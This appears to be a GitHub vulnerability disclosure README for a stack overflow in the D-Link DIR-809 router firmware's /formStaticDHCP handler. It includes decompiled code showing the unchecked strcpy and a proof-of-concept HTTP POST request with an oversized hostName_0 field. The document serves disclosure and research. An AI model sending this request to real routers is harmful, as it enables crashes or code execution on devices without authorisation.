Lnkvct update progress ... on Nov 22, 2021 History

..	
README	last year
README.md	last year

README.md

D-Link DIR809 Vulnerability

The Vulnerability is in page `/formStaticDHCP` which influences the latest version of this router OS.

The firmware version is DIR-809Ax_FW1.12WWB03_20190410

Progress

- Confirmed by vendor.

Vulnerability description

In the function `FUN_80034d60` (page `/formStaticDHCP`), we find a stack overflow vulnerability, which allows attackers to execute arbitrary code on system via a crafted post request.

Here is the description,

1. The `get_var` function extracts user input from the a http request. For example, the code below will extract the value of a key of format `"hostName_%d"` in the http post request which is completely under the attacker's control.
2. The string `pcVar1` obtained from user is copied onto the stack using `strcpy` without checking its length. So we can make the stack buffer overflow in `acStack386` .

```
32    memset(auStack352,0,0x2b);
33    sprintf(acStack120,PTR_s_hostName_%d_80034f38,uVar4);
34    pcVar1 = (char *)get_var(param_2,param_3,acStack120,PTR_s_  80034f3c);
35    if (*pcVar1 != '\0') {
36      strcpy(acStack386,pcVar1);
37      sprintf(acStack120,PTR_s_host_ip_%d_80034f40,uVar4);
```

pcVar1 is the input string contolled by attacker

not limits the copy string length and gets overflow

PoC

```
POST /formStaticDHCP.htm HTTP/1.1
Host: 192.168.0.1
Content-Length: 1718
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Content-type: application/x-www-form-urlencoded
Accept: */*
Origin: http://192.168.0.1
Referer: http://192.168.0.1/Basic/Network.asp?t=1620545775523
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: uid=v2F31BZVGw
Connection: close

settingsChanged=0&hostName_0=123123123123123313*0x200&host_ip_0=192.168.0.101&mac_0=3c22fb4473b4&computer_list_ipaddr_select_0=-1&h
1620545783&submit-url=%2FBasic%2FNetwork.asp
```

Acknowledgment

Credit to @Yu3H0, @peanuts62, @Lnkvct from Shanghai Jiao Tong University and TIANGONG Team of Legendsec at Qi'anxin Group.